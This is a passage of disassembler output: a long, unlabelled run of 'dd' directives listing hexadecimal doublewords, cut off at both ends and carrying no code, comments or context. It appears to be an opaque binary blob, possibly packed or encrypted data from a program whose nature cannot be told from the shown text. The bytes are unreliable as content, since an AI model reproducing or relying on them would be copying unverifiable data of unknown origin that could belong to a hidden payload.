74C8ABC1h, 0BB12C01Eh, 70F1185Ch, 4D005AD8h, 0D6675125h dd 0CF4323h, 0D74ED2FEh, 3CFF183Eh, 82E8D13Ah, 161D7176h dd 28CC878Dh, 43D3BAC2h, 4E94630h, 0F62518EFh, 318D11h dd 0FAFFC78h, 189A1A4Ah, 19E1880Bh, 3B856D7h, 8D3BFB71h dd 291175E3h, 0E2111D6Eh, 8292117h, 4294761Ch, 146B2828h dd 0B0111D42h, 0C4863D43h, 0B12F44D8h, 44C17244h, 56889A7Ch dd 0A9B20016h, 41F8650Ah, 0D6004D03h, 0E196DD60h, 0FA753Eh dd 42BDC892h, 7AA6A49Dh, 0D8A37F38h, 0D78A0053h, 0FD9AE2Ah dd 0D1DF00FEh, 141FC078h, 170BDC71h, 6E95EAh, 0C2DD5D8Bh dd 89520018h, 8F7115A7h, 8C008EE2h, 0BFE1B768h, 83560Dh dd 0A3A8B6B8h, 0EEF0CCACh, 4B937900h, 3E16E713h, 6AE45CFDh dd 0E300B13Ch, 32043964h, 87F9E005h, 30BCC520h, 6E9A2380h dd 26840709h, 100F2D55h, 1E77FD6Fh, 42C65100h, 83D4F1BBh dd 45230FA3h, 8B63B7BEh, 11003C2Ch, 0CA5C903Bh, 0ACEFA98h dd 0D28E5F9Dh, 2C8305F4h, 2853860Fh, 27722206h, 3114C0Ch dd 0AAA26D49h, 0C7D002DDh, 1FC4793h, 0E03E2200h, 9EB60AE9h dd 0DA9B1C4Ah, 95FB408Dh, 0DCAD0830h, 0A2878501h, 71172506h dd 3E8FFC4h, 4190A4DFh, 27EA6C91h, 24773440h, 28C67800h dd 0D676E70Bh, 806F0029h, 0AB19B81Eh, 3F009843h, 932BCA46h dd 7CB7968h, 0F287FA0Bh, 5CD880F1h, 0F5002CC0h, 3E0F1F53h dd 3872B33Dh, 0EB807342h, 0CB68D802h, 0F300313Bh, 0B16ADFB2h dd 0A84A75Eh, 2BEACC85h, 5E400A4h, 76CF231Fh, 3075720h dd 251A1242h, 9C0603Ah, 4C0F8075h, 4006C08Fh, 0F8BED1Dh dd 80D3E5DFh, 0CF5863h, 875D1341h, 0C95336E4h, 0EEB32800h dd 6F7A0264h, 0FF263C83h, 32870300h, 0BACDF131h, 7DF01A00h dd 106ECAB2h, 50090048h, 7764E1A3h, 0EB0AF628h, 982390B5h dd 0EE8F4901h, 29C81DD0h, 28243EF8h, 0ACB8280h, 7B50B35Bh dd 7C709100h, 9684E49Ah, 298A031Fh, 2F39FAA4h, 0EF8FABh dd 697CA8B1h, 8CB96D00h, 68AC6426h, 93DB0054h, 0BA3DCCE9h dd 8F00E73Eh, 42FF6137h, 0D658AEh, 5A189EC8h, 0C109AF02h dd 16D08D00h, 125061E8h, 0BCB80149h, 6D7175E5h, 0AEC3F0C9h dd 382EDE02h, 0E07045B2h, 0D259F9h, 3B91E22Dh, 97AC63A9h dd 254E921Ch, 1803F392h, 0D8BFCB52h, 0EB3E2Eh, 0EF643C20h dd 75591532h, 0C56AE604h, 0A03B2Fh, 0F12D00DFh, 0F6EA49F0h dd 0E6000423h, 0D922068Ch, 3FA829h, 28B5E7B2h, 0D2AB98A9h dd 4008F21Eh, 4EA169C2h, 0FB1C43CCh, 24C19CBCh, 54C00317h dd 9B0700DFh, 0C426B03Ah, 3F1C3612h, 11E4A52Ch, 0BC00B116h dd 0CD3E5FC5h, 0D31800D7h, 0ACAFBDB4h, 0FC1666B8h, 2700FF67h dd 9E0B3148h, 0B5FA00A9h, 0B1511FD4h, 8900B913h, 610170B3h dd 263F90h, 2CBC1A4Fh, 4251E0A7h, 5F0354F0h, 693EA465h dd 848A807Bh, 86460250h, 0AB834317h, 0F8D5E440h, 0B8E8031Fh dd 0E0A3604Fh, 67BD9FAEh, 999835h, 49E35C32h, 0B72CD30Fh dd 0FEDE0613h, 52EA4000h, 3E8F4F10h, 578002AEh, 2A383A5Ch dd 5D00089Ch, 0EF4A123Ch, 0F0D2F18h, 0E40724DDh, 0EBE5DA40h dd 0D1EE6FCEh, 824534Dh, 3B07ACBh, 430D95A8h, 0B9E3FEF8h dd 0F5B9905h, 42C0EC6Bh, 3AC3F802h, 284C57BFh, 0FD124102h dd 0BC43F10Ah, 0DCA040F5h, 7118D834h, 56194F02h, 613EB624h dd 28D58A20h, 125E3F00h, 4A424D00h, 0FEEEBA07h, 3E6FE0B5h dd 0CADCF798h, 0F983B93Eh, 0ADE6F8E2h, 8058383Ch, 0A7935019h dd 786F45h, 0BE5F0FB7h, 2902263h, 80018ECh, 8631F8EAh dd 308C492Ch, 93FEA7D5h, 734C57FBh, 505B001Ch, 0C1261AE8h dd 8EEB0003h, 95DC9E3Ah, 0F6004C60h, 0E81C4A88h, 0AF470Eh dd 8236ED86h, 4C67ACBCh, 22BA3A0Eh, 61009FB7h, 50E866B2h dd 3F4A0007h, 9412E981h, 37E20E6Bh, 0F6A92006h, 78386E09h dd 1D40733h, 263F5479h, 49782895h, 0C9E7E1Fh, 437B1141h dd 94EC16F8h, 416D07CEh, 5C642EFCh, 0D9001221h, 0F17A79D4h dd 0E25067h, 0BA78236Eh, 57B4AB89h, 6DDF2A1Ch, 35D55EC0h dd 12723F2Fh, 78E9BFEh, 40954826h, 0AD86850Dh, 1300D798h dd 0BFB4427Fh, 175340h, 5A061DDAh, 0C0913EFBh, 0AB9A3Ah dd 36F1BF4Dh, 0EF78F7h, 0FBC26042h, 0B93E6331h, 5007B7Dh dd 0E6279D95h, 74E416h, 48619FA4h, 0EAFA5FDAh, 3EFC8607h dd 2E00F13Bh, 2A33D9h, 0AD7F31F3h, 4B0D6E7h, 31F7AEAh dd 4645D4FDh, 62803B15h, 4EBCBBh, 53738FFAh, 267EE24Bh dd 0E1469100h, 441578B7h, 0AC820064h, 7A47189Fh, 8F0F207Eh dd 803B5FB9h, 0E65AC6A5h, 0B8FAF1h, 0F02BADAFh, 4E13597h dd 74477D12h, 4C003916h, 75D5C7E9h, 9BF50367h, 0B8DC97C0h dd 20FFCFF9h, 0E6FAF0C0h, 520B5603h, 0D0ACB638h, 1E21C5h dd 0BA1914C0h, 0B17270AAh, 9E7C3Bh, 41693089h, 0E40BBE79h dd 1A662C9Ch, 40589FA0h, 6E28650Ch, 0CB242D72h, 0E1009035h dd 0B5C9F6F7h, 90310039h, 0BD6A105Dh, 42E48B63h, 99430800h dd 8C326468h, 0C79100FCh, 0E25CC2B2h, 61002721h, 0E679F5B7h dd 1641344Fh, 2915135h, 6D105418h, 0E90FA44Eh, 406AA9BFh dd 0C627131Ah, 0A1023FEDh, 68A3BE8Fh, 62E91680h, 28580C9Ch dd 909B0024h, 0C63980C7h, 7A8D0096h, 30F9F2FDh, 21006E0Ah dd 23A1509Ah, 74BA0Fh, 9C7FF35h, 963B469Ch, 0E8008775h dd 345669F1h, 39FC1348h, 0C07B717h, 9AC39D11h, 0E8003E82h dd 46B9C2F7h, 0D9000FA4h, 0D79B9794h, 36484Dh, 0BEC3BD95h dd 0AF816FDDh, 7CEEBF00h, 0F1A1FF02h, 3A0A004Ah, 0F701BD24h dd 0FE0080C8h, 2D95F061h, 67F3C3h, 1EA4160Dh, 4D7FFF52h dd 0FED95C01h, 2696F5Fh, 6BD40425h, 49709F1h, 2381D89Bh dd 0EB4A0BD3h, 0B36073B2h, 34755E1Fh, 89FAB000h, 0D8CC0AFFh dd 96B6021Eh, 78AD4FB4h, 2C85C4C0h, 75556D09h, 600400BDh dd 3C081662h, 0E080ACCAh, 0E5B31E70h, 0B091A57h, 80C29BBBh dd 87D1BECCh, 9E990231h, 0FBF499Ch, 0C1ABCCE0h, 0AAA8571Eh dd 0A2825D40h, 14166824h, 0ECAD1E35h, 2F39F00h, 0A89E7071h dd 0CDFB0E12h, 0A4A06307h, 43510880h, 0AF5C2575h, 2B189800h dd 0A53B94CEh, 188FA4D2h, 0DE7E7500h, 1DA79987h, 806FB619h dd 0B72A1CEh, 0AE006D5Dh, 0FEAB60F0h, 2ABE20h, 0D6AC42Fh dd 181364B6h, 501CA600h, 0E28D5521h, 7DFA397Bh, 5C9EEABEh dd 6FB7010Ah, 50CA765Fh, 0B633B1B8h, 220C2C0Dh, 8202C91h dd 0AC393D42h, 60ABAD98h, 6900EA4Fh, 52EE0131h, 5D255004h dd 0A2007C3Fh, 0CD6FDAB0h, 8E1485F5h, 8B8B8FAh, 4EC3C8h dd 3623E8BAh, 3B002DF2h, 967A5442h, 8CE507h, 0D474EBEFh dd 944FFCB0h, 1C90CC12h, 0CD18CA03h, 0EBF98DAh, 22020003h dd 0C416A298h, 2C0015B3h, 3A60CE4Fh, 0E27347Dh, 8B9F788Dh dd 0CAB49273h, 1800C850h, 9224FD54h, 38BE7F1Eh, 9B89C151h dd 99000CB4h, 3B81F055h, 86FAED00h, 0DDD5622h, 689530B5h dd 1CCF80C8h, 0F02CB307h, 5F30F8C3h, 74574Eh, 55B4BD53h dd 11E6B928h, 64598201h, 0C07B735Ah, 1CAA63DCh, 123DEDh dd 0B10A06Ch, 989C9D39h, 0C93AC401h, 6D9B9C5h, 0B4EC92E5h dd 3F0E07A0h, 0A07C9AAFh dd 6DF1BA29h, 76011C9Ah, 0D2C02F5Fh, 802CFC39h, 0AFDBE900h dd 6189B0DFh, 97C11F00h, 4518DDAh, 59BE0147h, 5DB87160h dd 30A3C4E8h, 0BBF93600h, 9685EF19h, 3FE20916h, 70C0067Dh dd 32090492h, 228E4E68h, 0C32A8B88h, 0EE712C1Ch, 0BEDA0C1Ch dd 7987131h, 965E442Ch, 0E65B6200h, 1CEFF874h, 56795A0h dd 0D0BA681Dh, 38C27A44h, 6E04E203h, 0E0CE57FAh, 1FB7F3Fh dd 0EFFA9DDh, 2CAA6D1Bh, 701A07BCh, 7BF0C6A4h, 1780C9B3h dd 4E45043Fh, 0D0A051A0h, 0BAABCD37h, 0E00BB928h, 0E3582C00h dd 3B117227h, 0FC2900ADh, 7505A6B6h, 26640D9Fh, 0CB03A2B9h dd 5107585Fh, 1C3E908Ah, 7DCFAAF0h, 41280C89h, 0B0B89359h dd 31098601h, 29AE44C2h, 65AF4DCh, 9A88E58Ah, 0D112E1A4h dd 44A0FDB8h, 5F2F0062h, 0DB9625F4h, 8637010h, 3FBC118h dd 0CE957DD9h, 4AF13FA8h, 45C77140h, 8C3880AFh, 6B0A61F3h dd 885C0767h, 47122BAh, 0ED6E33A7h, 0F60C80A6h, 73067EDEh dd 220A24E7h, 3F370ED1h, 9C4B8EA6h, 0AFBA2000h, 0F52CD4EFh dd 0E10F18E2h, 624F5EB5h, 5BB780F7h, 0A9F4633Fh, 44007090h dd 0D36090D8h, 4124D469h, 0F9DE0018h, 0B7E2BA64h, 4F008C03h dd 26B6D378h, 8296AFh, 0A0659A15h, 16A14571h, 849B3600h dd 9823E72Fh, 1905016Ch, 971455C8h, 8C1ACC6Ah, 0AFB720Fh dd 0C32000C1h, 5FA647Ch, 69B80CBAh, 6E9C43D7h, 0A100F162h dd 0D8B95DF3h, 4CEFA731h, 274FC6Ch, 3072351Ah, 9CC027C6h dd 0B003EC76h, 62F7B9A9h, 0C2C902D1h, 0C0B370FAh, 0F577C480h dd 1400FC69h, 0BB1C80DFh, 18BC538Fh, 30D654E4h, 431CC9CDh dd 0AD80B68Bh, 21043BBEh, 0B0500072h, 0AB518187h, 89A0F6A1h dd 3B06F718h, 0C16BB8D4h, 0C0B47DB8h, 8FAAC098h, 0E305D916h dd 1B730D59h, 72B4CC0h, 3AE803AFh, 7A686186h, 0C8F8C6ABh dd 0DD00D879h, 19CE974h, 8D1C22h, 5C19F987h, 3A2988D4h dd 0FA00B2EAh, 0A9C1E872h, 0D5BE42h, 8A32E699h, 7118B0EDh dd 4F24E900h, 6628B352h, 3B4B0046h, 43B6870Ch, 0D4E817EDh dd 10A66F00h, 9AB5015Ch, 15C07631h, 0B8ED82BDh, 0D6D2300h dd 0FA41E925h, 0C6E4D01Dh, 0A1D69380h, 0C152B2h, 4A61511Fh dd 0FFAF94D2h, 55D1100h, 7041301Dh, 44B50052h, 0F56B6FA4h dd 4BEA9E54h, 0B3697D00h, 2FF5587h, 95F700B0h, 5F51D08Eh dd 0CC09A866h, 2072889Dh, 9106C880h, 0CB7296h, 6B3F572Ch dd 0B48B0FE5h, 0F51C1200h, 62771A3h, 35240B2Bh, 8605B98Fh dd 0CADD00A8h, 0D11CD974h, 0DD636A1Eh, 0EDEFAC0h, 3F489722h dd 5080BA26h, 72DA6F44h, 98F4D4FDh, 8FBE5E3Fh, 809BB07Bh dd 0B429B627h, 2DEF182Eh, 0F67A1872h, 0A5D06A00h, 92706C95h dd 0BE4F1h, 94D30733h, 0BA3182A2h, 8D571800h, 0F53824E0h dd 1F760041h, 0A3400AB6h, 711C1137h, 5B83AC99h, 98CB8C10h dd 0FEF7Eh, 0B77F4839h, 0FE457B3Ah, 5DC8FD50h, 6E904AFAh dd 51B53E00h, 77975607h, 0C4781E25h, 2E00FF41h, 520587D3h dd 66008A7Ah, 23E0CD43h, 1DA2B0Bh, 32F9F4F6h, 0D721D8EEh dd 78C04BA2h, 0D518DEE4h, 0AE494225h, 79A91628h, 75D488BBh dd 10EA9D2Ch, 91F77784h, 7D54A0h, 7F96E7BEh, 0F3F121FCh dd 110FA40Bh, 64E00083h, 0CFD0F2h, 0E342BB41h, 0CD10A891h dd 93AEA10Eh, 17C7C0CEh, 9A1D71h, 836CD0D4h, 2B20D636h dd 3C47FA00h, 0B5D9E764h, 73B93881h, 9E153A05h, 3CA241h dd 3820CA6Fh, 26DBF2D2h, 0BFABD6h, 3F3C23C6h, 0A4B87AF8h dd 0F10050F4h, 43035F9Eh, 24B18ADBh, 8534BC99h, 9026633Eh dd 0CE9BE78h, 66D15200h, 448338CCh, 3D7529h, 0C1DA6C9Fh dd 0E06A02FDh, 180C4316h, 4577C700h, 29F3A3h, 0BAE79DD8h dd 0F0D44ABh, 54E53E00h, 52172143h, 7EA1EDAh, 71E6CE8Fh dd 5AF584A0h, 41074036h, 0B6DE97C7h, 7F5282D0h, 0B1FB0289h dd 0F82AB3C2h, 2655EB80h, 3012398Fh, 5C0558B5h, 10C0B831h dd 4FB01E8Eh, 0B9E40332h, 20005B02h, 0FE668711h, 9ADA19h dd 23ED45E6h, 0E2A46A07h, 9F7FF43Fh, 9B40A9F0h, 50C577A3h dd 0C49F003Eh, 4B7E495h, 254845CDh, 0F8418220h, 11FC8021h dd 1405608h, 5F15941Bh, 9EC97F6Fh, 0B400A2F0h, 5D4F6ADDh dd 909A22h, 0B3CA0867h, 0CCBE85AEh, 6A2A2B03h, 0B0B455DCh dd 0DB99B6h, 52969395h, 33E253EAh, 7479C01h, 1C6D2519h dd 8B3824h, 14E15701h, 382DE62Ch, 204CBE00h, 7C6D0550h dd 0F6A0099Eh, 9082737Ah, 0F52045C6h, 40C7A9D1h, 0E400B2A7h dd 2021B972h, 984207C6h, 8B1307A4h, 804B2A7Ch, 0ACEBFF9Fh dd 8CCFBF26h, 81243008h, 1D02DD7Fh, 0FB9CE425h, 0C009F02Ch dd 7D810D80h, 33DDF2h, 0E15FFE37h, 0E0D8CDC2h, 0A36FCC00h dd 0AC3A6592h, 0BA0F0021h, 37B4D582h, 0A8CB1E3Bh, 888C903Eh dd 9A9D08CFh, 693D512h, 1F00288Eh, 0B523CF1Eh, 1A00D3CDh dd 1DF2AD8Ah, 0C3502Dh, 125D3F64h, 94C24047h, 5C883900h dd 7BB84904h, 45F81F75h, 0C0DB986Bh, 0B700AEC6h, 0BAA5C90Ah dd 1402DFh, 0C347D63Dh, 6C2617C2h, 0FC943026h, 24CDBF00h dd 8804F8h, 0C22110CAh, 0E9FF6EE1h, 1BA02209h, 0D8870CD0h dd 0A1732Dh, 6723994Ah, 791E0384h, 114BBC00h, 761AA93Eh dd 0D1B0E89h, 0C08024E3h, 0E30F675h, 7A157E00h, 0DB64233Ch dd 3D330168h, 8D1A6A57h, 0BCE8DA04h, 0E300BAC7h, 6BF57B38h dd 48DDB0D1h, 220003C9h, 0D658E50h, 2C0357C2h, 0F7F5ADBBh dd 3004D8CAh, 1A58279Bh, 6813A1D4h, 402C2C00h, 2D502Bh dd 244C7114h, 0DBA07B8h, 0E9876000h, 4A6C03D9h, 51AB0095h dd 0B4AC69C5h, 170002A8h, 23075441h, 131C3240h, 12FE8336h dd 0E44C90B2h, 25772C19h, 2289F904h, 483ED95h, 0FBCAD0C6h dd 0A260F937h, 0E34A1CEBh, 8157839Bh, 1EF0D523h, 3F012829h dd 561DC5D8h, 2C83C085h, 7B3C69E9h, 0BD5EA698h, 40684A27h dd 4E1FCh, 0E8FC8DE6h, 4D878273h, 2A019492h, 5B2DA8BBh dd 1320E998h, 0EEED041Eh, 0C07622D2h, 0D5EA321Ch, 0B87FCC38h dd 0C95A831Bh, 0A86ACA96h, 0EAE26E79h, 9D8700D1h, 8D5018A6h dd 4572F77Ch, 0A7790300h, 0A329CDA2h, 20B076h, 5FF997AAh dd 18D77F4Eh, 1B4984Ch, 6D3C9D0Ah, 8AEE0855h, 0A500D484h dd 0DCEC38CDh, 627000ABh, 66868464h, 0D81EA00Ah, 2A40305Eh dd 801811C1h, 0DF205h, 1F799D5Ch, 22F5CB7Bh, 287C2D01h dd 3F1AB11h, 0B90EA87Ch, 8DAE1EC0h, 14F319E0h, 0B2005218h dd 5A8B733Bh, 816B40h, 742A6C60h, 0DACF69F5h, 0EA00F4E2h dd 7F391F49h, 1E717Dh, 9D794C57h, 642668A9h, 65F8BC00h dd 2C7293DBh, 549A5Fh, 3BD33FCBh, 0AD1FC6BBh, 24391270h dd 53C81h, 0EBE5DB79h, 3823FE40h, 0D4018D4Ah, 90314551h dd 9D197041h, 8A185401h, 77737901h, 5E015878h, 16102EE9h dd 769EDC25h, 0A6796200h, 0A9877C1h, 97C500EDh, 4FF3C6DDh dd 7C002B22h, 0EB7F89A4h, 240593h, 95B229AFh, 1B617637h dd 2FDDF503h, 98183F2Dh, 8FCBC3h, 5BCC6EE5h, 0F0A89E71h dd 3EAF550Ah, 823FA6B3h, 3C881773h, 0F46C7045h, 42AD00A7h dd 0B7A4B2BBh, 5C00C0A8h, 475B16D9h, 72F38757h, 71F80E7Ah dd 0AF5668EAh, 16566702h, 0B338608Ch, 0BCE4B8h, 50340136h dd 410C2D97h, 0E088074Bh, 0FAFC7C14h, 0D4DD0FABh, 17A8FAh dd 2866F268h, 49E6254h dd 0D1214081h, 2083C4A1h, 20F3ECB6h, 914D1DA0h, 0A70023B5h dd 2C317805h, 1404653h, 0DACCAE44h, 0BCEF471h, 1254F701h dd 0D27894E7h, 20804DF1h, 8C2B98FCh, 8014C9Bh, 0B33FB120h dd 7D2ADF3h, 0A7D1B140h, 87304404h, 8764C083h, 0B8D0B5AAh dd 143DA248h, 0AF3881E7h, 3EAE0C45h, 6C4D1041h, 0CCA11C41h dd 6216E880h, 20189A0Ah, 285BFB00h, 0B19CE3BFh, 3FE00C7h dd 9474E22Ch, 0CE00D0A0h, 28F77BD2h, 1F69CB0h, 0E46605B7h dd 0E143D4CDh, 0F182EDEAh, 0DB436090h, 6215B100h, 0E2BBCFCEh dd 178A0167h, 9A3421Fh, 40A1F8A4h, 0D2B13D01h, 0D706D845h dd 0E0F436D5h, 7663A3Ah, 341E7A00h, 0DD9E3BB3h, 570CEA13h dd 9F885440h, 7811784Bh, 0BBA61202h, 0B82C41E4h, 4735B948h dd 3EACC7C6h, 0BD100CB4h, 67CA88C9h, 0D64408ADh, 829C531h dd 4061C2F2h, 0D4204971h, 97C97D29h, 27F811h, 4C3772Ah dd 3AB5D692h, 3F18A044h, 6ADFE80Ch, 0C2A95004h, 9D0E7E69h dd 0E5A11C8Eh, 71B46DCEh, 0EDFEE06Eh, 0EBF07DF0h, 2876487Ch dd 0EF71DC63h, 0E343C167h, 30660843h, 4711CBA0h, 0AB783B93h dd 0A873502Eh, 0E5169606h, 20727BC9h, 0B9B0E9F5h, 0E3190CA8h dd 3493AD00h, 9F294131h, 0AFF7016Ah, 0A92C196h, 129B92Ch dd 0B6FB0E9Bh, 5C20F4ACh, 60F374BCh, 0B3EE214Bh, 0BA06DE07h dd 3DE5586Bh, 58F5868h, 0AA2CF40Bh, 214A7380h, 1314499Fh dd 41AB3F58h, 0FA31C8D7h, 288B48C1h, 0EC2D20B3h, 4C5751Ch dd 810B2D96h, 98FB54E8h, 1321BD08h, 0DE8E1FDh, 4DBB002Dh dd 116B1455h, 3C0CF33Bh, 60D43149h, 232842D5h, 4BF1CB1h dd 62FB2D94h, 0F71523BEh, 5A9B6E80h, 2B973C06h, 38C9D1B2h dd 420A3298h, 9198DFA1h, 0E9480A3h, 4374B6F6h, 1D0622E8h dd 0DD07ACE1h, 806703C7h, 0EC00C5E8h, 0AFE6EBE2h, 13D7A27h dd 3BFFD5A6h, 42DCDE60h, 97309E34h, 0B6F7080Eh, 0FF64F38Ch dd 7AFE240h, 761CD6B4h, 0E7840667h, 4091E04Bh, 2980210Dh dd 715C7BF1h, 4D07DF07h, 0E2B6EA08h, 0C78BC6E0h, 0BDB21896h dd 768F8E4h, 0D22B0A00h, 118877F9h, 0E57570h, 0DC9D6528h dd 0DB57B17Ah, 7FEF5200h, 2034C685h, 0D4F06Ah, 0D23FEBFEh dd 7DE64F48h, 0B8792B0Eh, 1FE074C6h, 1B47AB75h, 45D656F0h dd 0CCF440h, 9D6D9629h, 6B16055Fh, 5BC1C0EDh, 3BCF080Ch dd 165284Ch, 33AC11F7h, 0DCA8D3CEh, 3C712397h, 0D4213561h dd 0BDC9040h, 214239DEh, 66FB6900h, 0B31653EBh, 6701B97Ah dd 30F28723h, 398E1199h, 303D7B34h, 58E6DF90h, 97036974h dd 6FF57C49h, 20EBC885h, 74437D19h, 0B40100CCh, 0C77C0FC3h dd 3A30523Eh, 1E7F419Fh, 4820085h, 0B403A290h, 3700B928h dd 0BE4FA819h, 608A27EBh, 1C4578C9h, 52749E76h, 0A8ED5B2Ah dd 9D0C74F8h, 116D567Ch, 84CF0045h, 8071E91Fh, 7633517Ah dd 0EA08B8h, 264DB421h, 95D619E4h, 5EB4F00h, 0A3EF0F87h dd 0F7CF3012h, 5FFDF829h, 0E685A9C0h, 0A849FA3Bh, 7C4662D0h dd 0BB9002F6h, 5376B05Eh, 0E1114497h, 339A4180h, 0FE73D39Eh dd 537E39h, 0DC3805B3h, 1145B779h, 776654A6h, 4630FE16h dd 7BDB4001h, 8990EE4h, 0F0A42108h, 80905B30h, 445F7501h dd 0B1F7F018h, 89B42080h, 64D4BFBBh, 0FA302201h, 79D71938h dd 7091C849h, 2FE480A0h, 8CC69D80h, 5A0944h, 225230FCh dd 77D11963h, 185484A9h, 0FF260446h, 32797072h, 4FB620E0h dd 33EA2226h, 7035F40Ch, 4CD99178h, 0B506A5EEh, 0B8F61B99h dd 0AF62440Ch, 9015D873h, 7C173074h, 90479F31h, 7698AC7Ah dd 59FEFB19h, 21804308h, 0D69050BDh, 1B00F6CFh, 0E758064Dh dd 3389B583h, 0EF60DA0Fh, 1388A0F0h, 0B810DE60h, 299436h dd 0CE4ABB1h, 1D1822A2h, 0F3B2F500h, 0BA7A6E56h, 0D4210034h dd 31C3CA1Bh, 7E009598h, 4F9C58F6h, 0F4079E61h, 8FC7006Fh dd 44FA38DFh, 5F02324Ch, 5287987h, 6BE14097h, 0D1A80086h dd 52E233D0h, 9A73C785h, 41F9380Fh, 7949A393h, 0CD96F0E6h dd 4A880701h, 9594EC9Dh, 0E1043EEAh, 0CFF88FFh, 0F101CB10h dd 891ECA18h, 7804583h, 0FC58039Fh, 7CF90085h, 21CBF3CDh dd 950C0F0Ch, 297ED4CAh, 0E20240E3h, 4CD5BA00h, 3CE467B8h dd 63520048h, 38811EF2h, 7C00D297h, 3D72048Ch, 0C8A1E5h dd 232D67CFh, 0AC697F9Ah, 0C78AD100h, 0DFA321E6h, 2F200703h dd 10C877E1h, 2939795h, 0DC0F2D1Ch, 3BC51FC0h, 85A867h dd 0CB681BCCh, 0ECFDBF2Bh, 0B42F9500h, 0A0E22019h, 667B67h dd 8EF40742h, 5C26431h, 71B5FF00h, 0DB30256Dh, 42270FFEh dd 0BF601BB0h, 791046EDh, 4BCE5B00h, 0AAC95AFh, 9D060093h dd 7FEC70F3h, 16015015h, 0EDDB33Fh, 20FC216Eh, 0FE9E4C53h dd 1024780Fh, 586DB123h, 6AC826EBh, 0E600E479h, 2516F64Dh dd 37BF1Ah, 41CF8F3Fh, 46B058F0h, 0C500B17Fh, 15EEDB1Fh dd 5FE1B8h, 2D1DEA7Fh, 128C09F7h, 7CCFB3Bh, 0C6DFAF1Ah dd 2BB09D97h, 0BA57A3h, 0F18055E1h, 84C48FAEh, 0C92DD200h dd 65DBDD7Dh, 0B84D0012h, 511D4969h, 970FC4C7h, 413D01E5h dd 0A122B6EBh, 6326E870h, 0E70BD02Ah, 659A1290h, 4E9E24h dd 40B5D60Eh, 25A604C9h, 80600053h, 0E45A504Dh, 9C0640C6h dd 2C99BCF3h, 0D8F278h, 1458E85Ch, 915BB8D7h, 449A9024h dd 0FE8EAF80h, 59D3A6h, 5E4F7762h, 89EB15B9h, 49541F1Fh dd 65B35100h, 107F8Eh, 779007B8h, 213FFF8Dh, 0C8FF724h dd 0A27023Bh, 412DE1BEh, 9F3230Bh, 0E26F4F59h, 0B8D87C26h dd 0F8734375h, 0D0AA6A0Eh, 81A8CC51h, 5EE700DEh, 3E120377h dd 886EE5B4h, 7AD38048h, 50A4DE6Ch, 428C3Dh, 82E6504Ah dd 0AED91633h, 59C2970Fh, 8F076005h, 0EAF2A701h, 0C8BD0084h dd 2ADC192Dh, 7F01D483h, 0AC5BCA2Fh, 0D4BAEFEDh, 0F0008B5Ch dd 7B31A397h, 9137EE59h, 94D78880h, 81B43BC1h, 20AEA850h dd 1B1F0087h, 2BB9CE2Dh, 0FB01785Fh, 9AFCD344h, 0BD208BBDh dd 0B4120031h, 3BC8640Ch, 81003C7Bh, 88CABA63h, 11E8E7h dd 749E71FAh, 9F22D82h, 9FF8E002h, 404A1D8Eh, 0A0905917h dd 1C75D69Ch, 801F2847h, 0D403C4D5h, 98151C25h, 88AF4Ah dd 0C7A02362h, 0B9DADCh, 7F8FE626h, 8A419B50h, 0DA9ECD98h dd 72A7D09h, 0A0FE9C6Ah, 43F29FF3h, 18820386h, 0F66432EEh dd 417C3CF0h, 0FB83EC14h, 3AAE00DCh, 0B3C15E70h, 7D9A0003h dd 6966E927h, 0F44AC9D5h, 7212ACh, 8AF2F7ABh, 0F65948C3h dd 0AC496D00h, 1B41807Ah, 0F85578B8h, 0C4309C4h, 3020FD57h dd 0A39E5C88h, 0BBD7E612h, 0F4A5FC04h, 0E122980h, 22A0EA4h dd 3ECE8EBEh, 838C4032h, 2CBB15CFh, 0F026E8A8h, 190002E8h dd 8F7BA77Eh, 0E89EE8CEh, 3F39121Fh, 42741F2Bh, 32629ADAh dd 40A32E40h, 47204C92h, 7C9349D5h, 16C07C82h, 832318h dd 0E85E4441h, 1CD7DE80h, 24B0A267h, 63CD20B0h, 0F24600D4h dd 5F510E11h, 9A48F330h, 0C40371D7h, 5DA5EB44h, 6474384Ch dd 588C6960h, 78002DF0h, 4012DD1Eh, 0AB97CC0h, 7E4DF1C6h dd 0FEEBE0D4h, 0B0003267h, 14690A98h, 3E5316C7h, 38DC3842h dd 8030D42Ch, 1FE7B6AAh, 91F6FAC7h, 74314E29h, 2350F04Ah dd 7A690CE5h, 8B4895B1h, 80E1803Ch, 0C9A85090h, 14BBB2h dd 18E63162h, 295358A3h, 7E04B370h, 6BD2C977h, 592BFB80h dd 75F015F2h, 73C0AC56h dd 988EACFFh, 52175000h, 5A1CEBFBh, 823901ABh, 0A79DB675h dd 1277EC64h, 55760B01h, 833B6C10h, 485EBD30h, 0DF09E040h dd 0B0AE2BCEh, 6568E340h, 2F00B548h, 0A39C28ADh, 587630h dd 0EDFDAFF7h, 0B4895194h, 9ADC3F54h, 31DD9B00h, 86AD2AD2h dd 67B70C0Bh, 0E8215192h, 0D078B79h, 0BAAD2947h, 0A91E6FAEh dd 0C0F0AE83h, 9C29242h, 863801F7h, 88F6B05Fh, 822BFC2Ch dd 0FFBC0E14h, 0A2B7A2D0h, 40852BACh, 15B5FBCh, 0D6E4A45h dd 2453B2FCh, 6902AA94h, 0E590198Ah, 11F44884h, 0FAFE004Ch dd 3FEE8EA6h, 571E5C1Ch, 0EC40817Fh, 0A78C4009h, 119300C2h dd 555FB379h, 7B03489Ch, 0F5D70617h, 0B59FC09Eh, 52820962h dd 0D000ADF9h, 24EAB3F1h, 19DC7409h, 0F28C249Eh, 0C0800409h dd 0E6DD0A0h, 609B5700h, 87744C10h, 156F0168h, 53895B1Dh dd 80A02330h, 0AA036DEEh, 0BA7F3D86h, 8DCF3281h, 231304D3h dd 0E2D05038h, 6655DE00h, 82AAA593h, 0CE9700EDh, 6D1F8F5h dd 109ABE35h, 9E005EECh, 34A82EB5h, 0F292F650h, 0BD79C0E1h dd 0A9438616h, 2FB94A00h, 0D53CBFC4h, 5A8E03D8h, 3F3253CCh dd 0A93BF3B8h, 20E0DE24h, 51269900h, 1ACEAC5h, 0D62B674Fh dd 70E66107h, 85005C64h, 54DCA9E5h, 976C69h, 1B4FFBF9h dd 0F58D6BC2h, 3DE60400h, 0B9456EA3h, 344B00A1h, 0D8055472h dd 260FA258h, 0A07A1763h, 0E532F70Ch, 0C4C00F0Fh, 3DC05F28h dd 242BB576h, 968B8003h, 0B03ACA8Eh, 1E11C4Ch, 0C20B32B3h dd 0F473C134h, 38009367h, 28553E87h, 15CFDA4Ah, 0DC0BB275h dd 246CD902h, 1540DE0Ch, 584CEBEDh, 898EDDC0h, 4B18FC73h dd 74A7B78h, 0D3B2E01h, 0C07F9EC1h, 